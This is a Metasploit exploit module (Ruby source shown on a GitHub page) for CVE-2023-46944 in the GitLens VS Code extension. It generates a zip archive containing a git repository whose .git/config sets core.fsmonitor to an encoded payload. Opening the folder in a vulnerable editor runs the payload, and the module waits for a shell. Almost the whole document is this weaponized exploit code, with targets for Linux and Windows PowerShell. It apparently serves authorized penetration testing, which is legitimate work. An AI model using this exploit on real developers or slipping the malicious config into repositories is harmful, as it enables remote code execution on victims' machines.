-
Notifications
You must be signed in to change notification settings - Fork 13.8k
/
gitlens_local_config_exec.rb
110 lines (99 loc) · 3.35 KB
/
gitlens_local_config_exec.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitLens Git Local Configuration Exec',
'Description' => %q{
GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git
commands. A repo may include its own .git folder including a malicious config file to
execute arbitrary code.
Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # Metasploit module
'Paul Gerste', # Original advisory and PoC
],
'References' => [
['URL', 'https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions/'],
['URL', 'https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/'], # git hook
['URL', 'https://github.com/gitkraken/vscode-gitlens/commit/ee2a0c42a92d33059a39fd15fbbd5dd3d5ab6440'], # patch
['CVE', '2023-46944']
],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => false,
'FILENAME' => 'repo.zip',
'WfsDelay' => 3_600 # 1hr
},
'Arch' => ARCH_CMD,
'Targets' => [
[
'Linux/Unix (In-Memory)',
{
'Platform' => [ 'unix', 'linux' ],
'Type' => :unix_cmd
},
],
# There may be a size limit, but using fetch payloads works great
[
'PowerShell (In-Memory)',
{
'Platform' => 'win',
'Payload' => {
'BadChars' => '"&'
}
}
],
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # windows fetch payloads pops up a CMD window for a second, then goes away
},
'Privileged' => false,
'DisclosureDate' => '2023-11-14'
)
)
register_options([
OptString.new('README', [true, 'The contents of the readme markdown file', '# Test'])
])
end
def readme
datastore['README'].to_s
end
def git_head
'ref: refs/heads/master'
end
def git_config
%([core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
fsmonitor = "#{payload.encoded} #") # without the trailing # windows tacks on <space><int, 0><space><a long number>. so this avoids corrupting the payload
end
def exploit
# Create malicious zip archive containing our git repo
files =
[
{ data: readme, fname: 'README.md' },
{ data: git_config, fname: '.git/config' },
{ data: git_head, fname: '.git/HEAD' },
{ data: '', fname: '.git/objects/info/' },
{ data: '', fname: '.git/objects/pack/' },
{ data: '', fname: '.git/refs/heads/' },
{ data: '', fname: '.git/refs/tags/' },
]
zip = Msf::Util::EXE.to_zip(files)
file_create(zip)
print_status('Waiting for shell')
end
end